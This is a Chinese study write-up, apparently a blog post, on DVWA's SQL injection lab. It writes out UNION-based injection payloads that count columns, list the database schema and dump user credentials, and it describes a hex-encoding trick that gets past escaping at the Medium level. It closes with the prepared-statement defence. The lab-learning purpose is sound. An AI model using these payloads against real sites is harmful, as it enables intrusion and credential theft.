SQL注入
SQL注入指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过不同的条件产生不同的SQL语句,这是学习dvwa的sql注入的相关笔记。仅供学习。参考的博客
DVWA全级别通关教程_JF_Adm0616的博客-CSDN博客_dvwa
mysql中Illegal mix of collations for operation “UNION”错误的解决方法_wkj001的博客-CSDN博客
Low级别:
系统没有做任何防护,可以直接进行注入
判断注入类型
输入 1正常显示但无法区分注入点类型
输入 2
再输入1+1
无返回结果,因为如果是数字型注入id=1+1,则会显示id为2的信息,字符型就会搜索id=’1+1’的数据。因为这个注入点没有返回数据2的内容,所以为字符型注入漏洞。
输入1’ and 1=1提示错误,输入1’ and 1=1#显示正常说明存在单引号,在注入时需要闭合或者注释掉单引号(在语句后面加#)。
查询字段长
1’ order by 1#
1’ order by 2#
1’ order by 3#.....
当注入1’ order by 3#时报错,而1’ order by 2#时正常,说明存在两个字段。
结合联合查询去对网站进行注入从而获取信息
可以使用两种方式1’ union ....或者-1’ union ....。两者都可以使用,只不过后者的查询结果更简介一些不会去输出id=1的信息。
查询数据库名
-1’ union select 1, database()#
查询数据表名
-1’ union select 1,table_name from information_schema.tables where table_schema=’dvwa’ #
或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查询到有数据库guestbook,和user两个数据表。
查询数据列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
发现users数据表含有
user_id,first_name,last_name,user,password,avatar,last_login,failed_login字段
查询详细信息
得知字段名后就可以肆无忌惮开搞了
查询用户名和用户密码-1’ union select user,password from user #
不过密码经过了加密了
Medium级别
刚换完就发现,输入框没了!!!
问题不大咱可以试一试用burpsuite,抓到数据包。
将截取到的包发送到重发器中进行注入
与low级别时一样的步骤
先判断字段长
发现字段长也为2
查询数据库名
查询数据表名
查询数据库字段名
在查询数据库字段名时一直报错
在上一个环节还没有产生报错,为什么在这里就报错了呢?
试了一些都是与使用单引号有关。
查看一下源码
发现使用了mysqli_real_escape_string函数
百度发现这个函数过滤了很多SQL注入字符,怎么才能绕过这个函数呢?可以将需要单双引号的数据用16进制代替。
成功绕过
查询数据
High级别
更换等级发现界面又变了,点击链接进入页面,从这里尝试一下注入
发现是可行的
按步骤一步步来。先是搜数据库名
再搜数据表名
再搜字段名
然后搜索数据。
做完发现就是需要在那个链接进行注入,和low级别一毛一样,怎么就算high,好想是为了防止sqlmap注入才这样搞的
Impossible
返璞归真,没有了那些花里胡哨的外表。和low级别一样的外观,让我刚进靶场的时候还以为是low级别,注入的好几次都没有反应,才发现是impossible。没办法注入只能去它学学代码了
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); $stmt->bindValue(':id',$id,SQLITE3_INTEGER); $result = $stmt->execute(); $result->finalize(); if ($result !== false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it won't stop someone dumping // multiple rows and viewing them one at a time. $num_columns = $result->numColumns(); if ($num_columns == 2) { $row = $result->fetchArray(); // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } break; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
参考内容:DVWA全级别通关教程_JF_Adm0616的博客-CSDN博客_dvwa
遇到的问题
问题1
在进行注入时遇到“Illegal mix of collations for operation 'UNION'”提示,我也搞不明白,然后百度搜了一下发现个解决方法
mysql中Illegal mix of collations for operation “UNION”错误的解决方法_wkj001的博客-CSDN博客
才知道原来是因为是union连接information_schema的字段时的字符规则不一样,因此在写low时我根据博主的步骤修改了相关参数,果然好使了。但要是只是修改了数据库中的last_name、first_name的,建议把SQL注入实验涉及到的字段都修改一下。这样更方便注入。
具体步骤:
打开Navicat for MySQL。查询information数据库中的TABLES表中TABLE_NAME字段的排列规则
进入到dvwa数据库中的users表中涉及到的字段排列规则都改成和上面搜到的一致,
小白一问:可不可用这个方法来做成防御的手段啊?